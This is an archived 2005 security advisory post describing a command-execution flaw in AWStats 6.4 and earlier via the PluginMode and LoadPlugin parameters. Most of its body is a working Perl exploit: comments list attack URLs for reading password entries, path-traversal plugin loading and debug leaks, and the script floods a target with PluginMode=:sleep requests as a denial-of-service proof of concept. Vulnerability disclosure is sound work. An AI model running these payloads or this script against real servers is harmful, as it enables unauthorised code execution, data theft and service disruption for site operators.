[UNIX] AWStats PluginMode and LoadPlugin Command Execution

From: SecuriTeam (support_at_securiteam.com)
Date: 02/17/05

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Date: 17 Feb 2005 18:12:03 +0200

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      AWStats PluginMode and LoadPlugin Command Execution
    ------------------------------------------------------------------------

    SUMMARY

     <http://awstats.sourceforge.net/> AWStats is "a free tool that generates
    advanced web, ftp or mail server statistics, graphically". Remote
    exploitation of an input validation vulnerability in AWStats allows
    attackers to execute arbitrary Perl commands under the privileges of the
    web server via the PluginMode and LoadPlugin parameter. The following
    exploit code can be used to test your system for the mentioned
    vulnerability (the exploit code contains samples and one PoC denial of
    service exploit).

    DETAILS

    Vulnerable Systems:
     * AWStats version 6.4 and prior

    Exploit:
    #!/usr/bin/perl
    #
    #
    # Summarized the advisory www.ghc.ru GHC: /str0ke
    #
    # [0] Exploitable example (raw log plugin):
    # Attacker can read sensitive information
    #
    #
    http://server/cgi-bin/awstats-6.4/awstats.pl?pluginmode=rawlog&loadplugin=rawlog
    #
    # [1] Perl code execution. (This script)
    #
    # http://server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent
    #
    # [2] Arbitrary plugin including.
    #
    #
    http://server/cgi-bin/awstats-6.4/awstats.pl?&loadplugin=../../../../usr/libdata/perl/5.00503/blib
    #
    # [3] Sensetive information leak in AWStats version 6.3(Stable) -
    6.4(Development).
    # Every user can access debug function:
    #
    # http://server/cgi-bin/awstats-6.4/awstats.pl?debug=1
    # http://server/cgi-bin/awstats-6.4/awstats.pl?debug=2
    #
    # Be sure to change the $server + /cgi-bin location /str0ke
    #

    use IO::Socket;
    $server = 'www.example.com';
    sub ConnectServer {
    $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server",
    PeerPort => "80")
    || die "Error\n";
    print $socket "GET
    /cgi-bin/awstats-6.4/awstats.pl?&hack=$rp&PluginMode=:sleep HTTP/1.1\n";
    print $socket "Host: $server\n";
    print $socket "Accept: */*\n";
    print $socket "\n\n";
    }

    while () {
    $rp = rand;
    &ConnectServer;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:foster@ghc.ru> GHC.

    ========================================

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